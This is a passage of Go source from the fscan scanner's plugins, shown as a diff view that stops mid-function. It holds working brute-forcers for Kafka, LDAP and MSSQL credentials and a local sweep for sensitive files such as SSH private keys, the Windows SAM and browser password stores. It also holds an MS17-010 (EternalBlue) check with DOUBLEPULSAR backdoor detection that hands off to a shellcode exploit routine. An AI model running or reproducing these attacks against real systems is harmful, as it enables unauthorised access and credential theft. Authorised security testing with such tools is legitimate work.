// KafkaConn 尝试 Kafka 连接
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
config := sarama.NewConfig()
config.Net.DialTimeout = timeout
config.Net.ReadTimeout = timeout
config.Net.WriteTimeout = timeout
config.Net.TLS.Enable = false
config.Version = sarama.V2_0_0_0
// 设置 SASL 配置
if user != "" || pass != "" {
config.Net.SASL.Enable = true
config.Net.SASL.Mechanism = sarama.SASLTypePlaintext
config.Net.SASL.User = user
config.Net.SASL.Password = pass
config.Net.SASL.Handshake = true
}
brokers := []string{fmt.Sprintf("%s:%s", host, port)}
// 尝试作为消费者连接测试
consumer, err := sarama.NewConsumer(brokers, config)
if err == nil {
defer consumer.Close()
return true, nil
}
// 如果消费者连接失败,尝试作为客户端连接
client, err := sarama.NewClient(brokers, config)
if err == nil {
defer client.Close()
return true, nil
}
// 检查错误类型
if strings.Contains(err.Error(), "SASL") ||
strings.Contains(err.Error(), "authentication") ||
strings.Contains(err.Error(), "credentials") {
return false, fmt.Errorf("认证失败")
}
return false, err
}
+307
View File
@@ -0,0 +1,307 @@
package Plugins
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common"
)
// LDAPCredential 表示一个LDAP凭据
type LDAPCredential struct {
Username string
Password string
}
// LDAPScanResult 表示LDAP扫描结果
type LDAPScanResult struct {
Success bool
Error error
Credential LDAPCredential
IsAnonymous bool
}
func LDAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
if anonymousResult.Success {
// 匿名访问成功
saveLDAPResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
var credentials []LDAPCredential
for _, user := range Common.Userdict["ldap"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, LDAPCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ldap"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentLDAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveLDAPResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("LDAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil
}
}
// concurrentLDAPScan 并发扫描LDAP服务
func concurrentLDAPScan(ctx context.Context, info *Common.HostInfo, credentials []LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *LDAPScanResult, 1)
workChan := make(chan LDAPCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryLDAPCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("LDAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryLDAPCredential 尝试单个LDAP凭据
func tryLDAPCredential(ctx context.Context, info *Common.HostInfo, credential LDAPCredential, timeoutSeconds int64, maxRetries int) *LDAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &LDAPScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := LDAPConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &LDAPScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &LDAPScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// LDAPConn 尝试LDAP连接
func LDAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
address := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 使用上下文控制的拨号过程
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", address)
if err != nil {
return false, err
}
// 使用已连接的TCP连接创建LDAP连接
l := ldap.NewConn(conn, false)
defer l.Close()
// 在单独的协程中启动LDAP连接
go l.Start()
// 创建一个完成通道
done := make(chan error, 1)
// 在协程中进行绑定和搜索操作,确保可以被上下文取消
go func() {
// 尝试绑定
var err error
if user != "" {
// 使用更通用的绑定DN模式
bindDN := fmt.Sprintf("cn=%s,dc=example,dc=com", user)
err = l.Bind(bindDN, pass)
} else {
// 匿名绑定
err = l.UnauthenticatedBind("")
}
if err != nil {
done <- err
return
}
// 尝试简单搜索以验证权限
searchRequest := ldap.NewSearchRequest(
"dc=example,dc=com",
ldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,
"(objectClass=*)",
[]string{"dn"},
nil,
)
_, err = l.Search(searchRequest)
done <- err
}()
// 等待操作完成或上下文取消
select {
case err := <-done:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
return false, ctx.Err()
}
}
// saveLDAPResult 保存LDAP扫描结果
func saveLDAPResult(info *Common.HostInfo, target string, result *LDAPScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("LDAP服务 %s 匿名访问成功", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"type": "anonymous-access",
}
} else {
successMsg = fmt.Sprintf("LDAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "ldap",
"username": result.Credential.Username,
"password": result.Credential.Password,
"type": "weak-password",
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
+218
View File
@@ -0,0 +1,218 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"path/filepath"
"runtime"
"strings"
)
var (
// 文件扫描黑名单,跳过这些类型和目录
blacklist = []string{
".exe", ".dll", ".png", ".jpg", ".bmp", ".xml", ".bin",
".dat", ".manifest", "locale", "winsxs", "windows\\sys",
}
// 敏感文件关键词白名单
whitelist = []string{
"密码", "账号", "账户", "配置", "服务器",
"数据库", "备忘", "常用", "通讯录",
}
// Linux系统关键配置文件路径
linuxSystemPaths = []string{
// Apache配置
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/httpd/httpd.conf",
"/usr/local/apache/conf/httpd.conf",
"/home/httpd/conf/httpd.conf",
"/usr/local/apache2/conf/httpd.conf",
"/usr/local/httpd/conf/httpd.conf",
"/etc/apache2/sites-available/000-default.conf",
"/etc/apache2/sites-enabled/*",
"/etc/apache2/sites-available/*",
"/etc/apache2/apache2.conf",
// Nginx配置
"/etc/nginx/nginx.conf",
"/etc/nginx/conf.d/nginx.conf",
// 系统配置文件
"/etc/hosts.deny",
"/etc/bashrc",
"/etc/issue",
"/etc/issue.net",
"/etc/ssh/ssh_config",
"/etc/termcap",
"/etc/xinetd.d/*",
"/etc/mtab",
"/etc/vsftpd/vsftpd.conf",
"/etc/xinetd.conf",
"/etc/protocols",
"/etc/logrotate.conf",
"/etc/ld.so.conf",
"/etc/resolv.conf",
"/etc/sysconfig/network",
"/etc/sendmail.cf",
"/etc/sendmail.cw",
// proc信息
"/proc/mounts",
"/proc/cpuinfo",
"/proc/meminfo",
"/proc/self/environ",
"/proc/1/cmdline",
"/proc/1/mountinfo",
"/proc/1/fd/*",
"/proc/1/exe",
"/proc/config.gz",
// 用户配置文件
"/root/.ssh/authorized_keys",
"/root/.ssh/id_rsa",
"/root/.ssh/id_rsa.keystore",
"/root/.ssh/id_rsa.pub",
"/root/.ssh/known_hosts",
"/root/.bash_history",
"/root/.mysql_history",
}
// Windows系统关键配置文件路径
windowsSystemPaths = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
)
// LocalInfoScan 本地信息收集主函数
func LocalInfoScan(info *Common.HostInfo) (err error) {
Common.LogBase("开始本地信息收集...")
// 获取用户主目录
home, err := os.UserHomeDir()
if err != nil {
Common.LogError(fmt.Sprintf("获取用户主目录失败: %v", err))
return err
}
// 扫描固定位置的敏感文件
scanFixedLocations(home)
// 根据规则搜索敏感文件
searchSensitiveFiles()
Common.LogBase("本地信息收集完成")
return nil
}
// scanFixedLocations 扫描固定位置的敏感文件
func scanFixedLocations(home string) {
var paths []string
switch runtime.GOOS {
case "windows":
// 添加Windows固定路径
paths = append(paths, windowsSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Local State"),
filepath.Join(home, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(home, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}...)
case "linux":
// 添加Linux固定路径
paths = append(paths, linuxSystemPaths...)
paths = append(paths, []string{
filepath.Join(home, ".config", "google-chrome", "Default", "Login Data"),
filepath.Join(home, ".mozilla", "firefox"),
}...)
}
for _, path := range paths {
// 处理通配符路径
if strings.Contains(path, "*") {
var _ = strings.ReplaceAll(path, "*", "")
if files, err := filepath.Glob(path); err == nil {
for _, file := range files {
checkAndLogFile(file)
}
}
continue
}
checkAndLogFile(path)
}
}
// checkAndLogFile 检查并记录敏感文件
func checkAndLogFile(path string) {
if _, err := os.Stat(path); err == nil {
Common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", path))
}
}
// searchSensitiveFiles 搜索敏感文件
func searchSensitiveFiles() {
var searchPaths []string
switch runtime.GOOS {
case "windows":
// Windows下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux":
// Linux下常见的敏感目录
home, _ := os.UserHomeDir()
searchPaths = []string{
"/home",
"/opt",
"/usr/local",
"/var/www",
"/var/log",
filepath.Join(home, "Desktop"),
filepath.Join(home, "Documents"),
filepath.Join(home, "Downloads"),
}
}
// 在限定目录下搜索
for _, searchPath := range searchPaths {
filepath.Walk(searchPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil
}
// 跳过黑名单目录和文件
for _, black := range blacklist {
if strings.Contains(strings.ToLower(path), black) {
return filepath.SkipDir
}
}
// 检查白名单关键词
for _, white := range whitelist {
fileName := strings.ToLower(info.Name())
if strings.Contains(fileName, white) {
Common.LogSuccess(fmt.Sprintf("发现潜在敏感文件: %s", path))
break
}
}
return nil
})
}
}
File diff suppressed because it is too large Load Diff
+288
View File
@@ -0,0 +1,288 @@
package Plugins
import (
"encoding/binary"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"os"
"strings"
"time"
)
var (
// SMB协议加密的请求数据
negotiateProtocolRequest_enc = "G8o+kd/4y8chPCaObKK8L9+tJVFBb7ntWH/EXJ74635V3UTXA4TFOc6uabZfuLr0Xisnk7OsKJZ2Xdd3l8HNLdMOYZXAX5ZXnMC4qI+1d/MXA2TmidXeqGt8d9UEF5VesQlhP051GGBSldkJkVrP/fzn4gvLXcwgAYee3Zi2opAvuM6ScXrMkcbx200ThnOOEx98/7ArteornbRiXQjnr6dkJEUDTS43AW6Jl3OK2876Yaz5iYBx+DW5WjiLcMR+b58NJRxm4FlVpusZjBpzEs4XOEqglk6QIWfWbFZYgdNLy3WaFkkgDjmB1+6LhpYSOaTsh4EM0rwZq2Z4Lr8TE5WcPkb/JNsWNbibKlwtNtp94fIYvAWgxt5mn/oXpfUD"
sessionSetupRequest_enc = "52HeCQEbsSwiSXg98sdD64qyRou0jARlvfQi1ekDHS77Nk/8dYftNXlFahLEYWIxYYJ8u53db9OaDfAvOEkuox+p+Ic1VL70r9Q5HuL+NMyeyeN5T5el07X5cT66oBDJnScs1XdvM6CBRtj1kUs2h40Z5Vj9EGzGk99SFXjSqbtGfKFBp0DhL5wPQKsoiXYLKKh9NQiOhOMWHYy/C+Iwhf3Qr8d1Wbs2vgEzaWZqIJ3BM3z+dhRBszQoQftszC16TUhGQc48XPFHN74VRxXgVe6xNQwqrWEpA4hcQeF1+QqRVHxuN+PFR7qwEcU1JbnTNISaSrqEe8GtRo1r2rs7+lOFmbe4qqyUMgHhZ6Pwu1bkhrocMUUzWQBogAvXwFb8"
treeConnectRequest_enc = "+b/lRcmLzH0c0BYhiTaYNvTVdYz1OdYYDKhzGn/3T3P4b6pAR8D+xPdlb7O4D4A9KMyeIBphDPmEtFy44rtto2dadFoit350nghebxbYA0pTCWIBd1kN0BGMEidRDBwLOpZE6Qpph/DlziDjjfXUz955dr0cigc9ETHD/+f3fELKsopTPkbCsudgCs48mlbXcL13GVG5cGwKzRuP4ezcdKbYzq1DX2I7RNeBtw/vAlYh6etKLv7s+YyZ/r8m0fBY9A57j+XrsmZAyTWbhPJkCg=="
transNamedPipeRequest_enc = "k/RGiUQ/tw1yiqioUIqirzGC1SxTAmQmtnfKd1qiLish7FQYxvE+h4/p7RKgWemIWRXDf2XSJ3K0LUIX0vv1gx2eb4NatU7Qosnrhebz3gUo7u25P5BZH1QKdagzPqtitVjASpxIjB3uNWtYMrXGkkuAm8QEitberc+mP0vnzZ8Nv/xiiGBko8O4P/wCKaN2KZVDLbv2jrN8V/1zY6fvWA=="
trans2SessionSetupRequest_enc = "JqNw6PUKcWOYFisUoUCyD24wnML2Yd8kumx9hJnFWbhM2TQkRvKHsOMWzPVfggRrLl8sLQFqzk8bv8Rpox3uS61l480Mv7HdBPeBeBeFudZMntXBUa4pWUH8D9EXCjoUqgAdvw6kGbPOOKUq3WmNb0GDCZapqQwyUKKMHmNIUMVMAOyVfKeEMJA6LViGwyvHVMNZ1XWLr0xafKfEuz4qoHiDyVWomGjJt8DQd6+jgLk="
// SMB协议解密后的请求数据
negotiateProtocolRequest []byte
sessionSetupRequest []byte
treeConnectRequest []byte
transNamedPipeRequest []byte
trans2SessionSetupRequest []byte
)
func init() {
var err error
// 解密协议请求
decrypted, err := AesDecrypt(negotiateProtocolRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解密错误: %v", err))
os.Exit(1)
}
negotiateProtocolRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("协议请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话请求
decrypted, err = AesDecrypt(sessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解密错误: %v", err))
os.Exit(1)
}
sessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话请求解码错误: %v", err))
os.Exit(1)
}
// 解密连接请求
decrypted, err = AesDecrypt(treeConnectRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解密错误: %v", err))
os.Exit(1)
}
treeConnectRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("连接请求解码错误: %v", err))
os.Exit(1)
}
// 解密管道请求
decrypted, err = AesDecrypt(transNamedPipeRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解密错误: %v", err))
os.Exit(1)
}
transNamedPipeRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("管道请求解码错误: %v", err))
os.Exit(1)
}
// 解密会话设置请求
decrypted, err = AesDecrypt(trans2SessionSetupRequest_enc, key)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解密错误: %v", err))
os.Exit(1)
}
trans2SessionSetupRequest, err = hex.DecodeString(decrypted)
if err != nil {
Common.LogError(fmt.Sprintf("会话设置解码错误: %v", err))
os.Exit(1)
}
}
// MS17010 扫描入口函数
func MS17010(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
err := MS17010Scan(info)
if err != nil {
Common.LogError(fmt.Sprintf("%s:%s - %v", info.Host, info.Ports, err))
}
return err
}
func MS17010Scan(info *Common.HostInfo) error {
ip := info.Host
// 连接目标
conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接错误: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时错误: %v", err)
}
// SMB协议协商
if _, err = conn.Write(negotiateProtocolRequest); err != nil {
return fmt.Errorf("发送协议请求错误: %v", err)
}
reply := make([]byte, 1024)
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取协议响应错误: %v", err)
}
return fmt.Errorf("协议响应不完整")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return fmt.Errorf("协议协商被拒绝")
}
// 建立会话
if _, err = conn.Write(sessionSetupRequest); err != nil {
return fmt.Errorf("发送会话请求错误: %v", err)
}
n, err := conn.Read(reply)
if err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取会话响应错误: %v", err)
}
return fmt.Errorf("会话响应不完整")
}
if binary.LittleEndian.Uint32(reply[9:13]) != 0 {
return fmt.Errorf("会话建立失败")
}
// 提取系统信息
var os string
sessionSetupResponse := reply[36:n]
if wordCount := sessionSetupResponse[0]; wordCount != 0 {
byteCount := binary.LittleEndian.Uint16(sessionSetupResponse[7:9])
if n != int(byteCount)+45 {
Common.LogError(fmt.Sprintf("无效会话响应 %s:445", ip))
} else {
for i := 10; i < len(sessionSetupResponse)-1; i++ {
if sessionSetupResponse[i] == 0 && sessionSetupResponse[i+1] == 0 {
os = string(sessionSetupResponse[10:i])
os = strings.Replace(os, string([]byte{0x00}), "", -1)
break
}
}
}
}
// 树连接请求
userID := reply[32:34]
treeConnectRequest[32] = userID[0]
treeConnectRequest[33] = userID[1]
if _, err = conn.Write(treeConnectRequest); err != nil {
return fmt.Errorf("发送树连接请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取树连接响应错误: %v", err)
}
return fmt.Errorf("树连接响应不完整")
}
// 命名管道请求
treeID := reply[28:30]
transNamedPipeRequest[28] = treeID[0]
transNamedPipeRequest[29] = treeID[1]
transNamedPipeRequest[32] = userID[0]
transNamedPipeRequest[33] = userID[1]
if _, err = conn.Write(transNamedPipeRequest); err != nil {
return fmt.Errorf("发送管道请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取管道响应错误: %v", err)
}
return fmt.Errorf("管道响应不完整")
}
// 漏洞检测部分添加 Output
if reply[9] == 0x05 && reply[10] == 0x02 && reply[11] == 0x00 && reply[12] == 0xc0 {
// 构造基本详情
details := map[string]interface{}{
"port": "445",
"vulnerability": "MS17-010",
}
if os != "" {
details["os"] = os
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s [%s] MS17-010", ip, os))
} else {
Common.LogSuccess(fmt.Sprintf("发现漏洞 %s MS17-010", ip))
}
// 保存 MS17-010 漏洞结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: ip,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
// DOUBLEPULSAR 后门检测
trans2SessionSetupRequest[28] = treeID[0]
trans2SessionSetupRequest[29] = treeID[1]
trans2SessionSetupRequest[32] = userID[0]
trans2SessionSetupRequest[33] = userID[1]
if _, err = conn.Write(trans2SessionSetupRequest); err != nil {
return fmt.Errorf("发送后门检测请求错误: %v", err)
}
if n, err := conn.Read(reply); err != nil || n < 36 {
if err != nil {
return fmt.Errorf("读取后门检测响应错误: %v", err)
}
return fmt.Errorf("后门检测响应不完整")
}
if reply[34] == 0x51 {
Common.LogSuccess(fmt.Sprintf("发现后门 %s DOUBLEPULSAR", ip))
// 保存 DOUBLEPULSAR 后门结果
backdoorResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: ip,
Status: "backdoor",
Details: map[string]interface{}{
"port": "445",
"type": "DOUBLEPULSAR",
"os": os,
},
}
Common.SaveResult(backdoorResult)
}
// Shellcode 利用部分保持不变
if Common.Shellcode != "" {
defer MS17010EXP(info)
}
} else if os != "" {
Common.LogBase(fmt.Sprintf("系统信息 %s [%s]", ip, os))
// 保存系统信息
sysResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: ip,
Status: "identified",
Details: map[string]interface{}{
"port": "445",
"service": "smb",
"os": os,
},
}
Common.SaveResult(sysResult)
}
return nil
}
+332
View File
@@ -0,0 +1,332 @@
package Plugins
import (
"context"
"database/sql"
"fmt"
"net"
"strings"
"sync"
"time"
mssql "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/Common"
)
// MSSQLProxyDialer 自定义dialer结构体
type MSSQLProxyDialer struct {
timeout time.Duration
}
// DialContext 实现mssql.Dialer接口,支持socks代理
func (d *MSSQLProxyDialer) DialContext(ctx context.Context, network, addr string) (net.Conn, error) {
return Common.WrapperTcpWithContext(ctx, network, addr)
}
// MssqlCredential 表示一个MSSQL凭据
type MssqlCredential struct {
Username string
Password string
}
// MssqlScanResult 表示MSSQL扫描结果
type MssqlScanResult struct {
Success bool
Error error
Credential MssqlCredential
}
// MssqlScan 执行MSSQL服务扫描
func MssqlScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []MssqlCredential
for _, user := range Common.Userdict["mssql"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, MssqlCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["mssql"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentMssqlScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveMssqlResult(info, target, result.Credential)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("MSSQL扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentMssqlScan 并发扫描MSSQL服务
func concurrentMssqlScan(ctx context.Context, info *Common.HostInfo, credentials []MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *MssqlScanResult, 1)
workChan := make(chan MssqlCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryMssqlCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("MSSQL并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryMssqlCredential 尝试单个MSSQL凭据
func tryMssqlCredential(ctx context.Context, info *Common.HostInfo, credential MssqlCredential, timeoutSeconds int64, maxRetries int) *MssqlScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &MssqlScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时的上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err := MssqlConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &MssqlScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &MssqlScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// MssqlConn 尝试MSSQL连接
func MssqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
host, port, username, password := info.Host, info.Ports, user, pass
timeout := time.Duration(Common.Timeout) * time.Second
// 构造连接字符串
connStr := fmt.Sprintf(
"server=%s;user id=%s;password=%s;port=%v;encrypt=disable;",
host, username, password, port,
)
// 检查是否需要使用socks代理
if Common.Socks5Proxy != "" {
// 使用自定义dialer创建连接器
connector, err := mssql.NewConnector(connStr)
if err != nil {
return false, err
}
// 设置自定义dialer
connector.Dialer = &MSSQLProxyDialer{
timeout: time.Duration(Common.Timeout) * time.Millisecond,
}
// 使用连接器创建数据库连接
db := sql.OpenDB(connector)
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 通过上下文执行ping操作,以支持超时控制
pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
defer pingCancel()
errChan := make(chan error, 1)
go func() {
errChan <- db.PingContext(pingCtx)
}()
// 等待ping结果或者超时
select {
case err := <-errChan:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
// 全局超时或取消
return false, ctx.Err()
case <-pingCtx.Done():
if pingCtx.Err() == context.DeadlineExceeded {
// 单个连接超时
return false, fmt.Errorf("连接超时")
}
return false, pingCtx.Err()
}
}
// 使用标准连接方式
db, err := sql.Open("mssql", connStr)
if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
db.SetConnMaxIdleTime(timeout)
db.SetMaxIdleConns(0)
db.SetMaxOpenConns(1)
// 通过上下文执行ping操作,以支持超时控制
pingCtx, pingCancel := context.WithTimeout(ctx, timeout)
defer pingCancel()
errChan := make(chan error, 1)
go func() {
errChan <- db.PingContext(pingCtx)
}()
// 等待ping结果或者超时
select {
case err := <-errChan:
if err != nil {
return false, err
}
return true, nil
case <-ctx.Done():
// 全局超时或取消
return false, ctx.Err()
case <-pingCtx.Done():
if pingCtx.Err() == context.DeadlineExceeded {
// 单个连接超时
return false, fmt.Errorf("连接超时")
}
return false, pingCtx.Err()
}
}
// saveMssqlResult 保存MSSQL扫描结果
func saveMssqlResult(info *Common.HostInfo, target string, credential MssqlCredential) {
successMsg := fmt.Sprintf("MSSQL %s %v %v", target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
